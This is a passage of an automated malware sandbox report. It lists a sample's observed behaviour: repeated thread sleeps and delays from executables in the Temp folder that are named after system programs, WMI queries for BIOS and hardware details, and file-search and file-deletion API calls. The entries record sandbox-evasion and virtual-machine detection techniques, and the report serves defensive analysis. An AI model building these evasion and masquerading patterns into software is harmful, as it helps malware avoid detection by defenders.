                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97406s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97297s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97169s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -97062s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96945s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96795s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96684s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96578s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96469s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96359s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96250s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96140s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -96031s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95922s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95812s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95703s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95589s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95479s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95359s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95250s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95140s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -95031s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -94922s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -94812s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -94703s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -94594s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3100Thread sleep time: -94484s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 2012Thread sleep count: 60 > 30
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 2012Thread sleep time: -60000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 7020Thread sleep count: 81 > 30
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 7020Thread sleep time: -81000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -26747778906878833s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -100000s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 4116Thread sleep count: 3645 > 30
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3952Thread sleep count: 6121 > 30
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -99875s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -99765s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -99656s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -99547s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -99436s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -99328s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -99218s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -99109s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98999s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98890s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98780s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98672s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98562s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98450s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98343s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98232s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98124s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -98015s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -97848s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -97648s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -97546s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -97437s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -97328s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -97218s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -97109s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96998s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96890s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96781s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96666s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96562s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96453s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96343s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96234s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96125s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -96015s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -95906s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -95797s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -95687s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -95578s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -95468s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -95308s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -95053s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -94918s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -94812s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -94703s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -94593s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -94484s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -94375s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -94265s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe TID: 3984Thread sleep time: -94156s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 4876Thread sleep count: 48 > 30
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe TID: 4876Thread sleep time: -48000s >= -30000s
                              Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                              Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                              Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
                              Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * FROM WIN32_Processor
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comThread sleep count: Count: 5020 delay: -10Jump to behavior
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_00406301 FindFirstFileW,FindClose,0_2_00406301
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00406CC7
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00814005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,24_2_00814005
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,24_2_0081C2FF
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081494A GetFileAttributesW,FindFirstFileW,FindClose,24_2_0081494A
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,24_2_0081CD9F
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081CD14 FindFirstFileW,FindClose,24_2_0081CD14
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,24_2_0081F5D8
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,24_2_0081F735
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,24_2_0081FA36
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00813CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,24_2_00813CE2
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007C5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,24_2_007C5D13
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 100000
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99870
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99719
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99534
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99399
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99295
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99172
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99063
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98938
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98810
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98685
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98563
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98453
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98344
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98235
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97951
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97828
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97719
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97594
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97485
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97360
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97239
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97094
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96963
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96848
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96731
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96622
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96500
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96389
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96273
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96157
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96047
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95935
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95827
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95706
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95321
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95201
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95078
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94969
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94859
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94750
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94640
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94531
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94391
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94281
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94172
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94062
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 93953
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 93835
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 93719
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 93610
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 93500
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 93390
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 100000
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99875
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99761
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99635
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99519
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99370
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99220
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99094
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98969
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98859
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98749
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98633
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98531
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98422
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98312
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98191
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98062
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97951
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97844
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97734
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97625
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97516
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97406
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97297
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97169
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97062
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96945
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96795
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96684
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96578
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96469
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96359
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96250
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96140
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96031
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95922
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95812
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95703
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95589
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95479
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95359
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95250
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95140
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95031
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94922
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94812
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94703
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94594
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94484
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 100000
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99875
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99765
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99656
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99547
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99436
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99328
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99218
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 99109
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98999
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98890
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98780
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98672
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98562
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98450
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98343
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98232
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98124
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 98015
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97848
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97648
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97546
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97437
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97328
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97218
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 97109
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96998
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96890
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96781
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96666
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96562
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96453
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96343
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96234
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96125
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 96015
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95906
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95797
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95687
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95578
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95468
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95308
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 95053
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94918
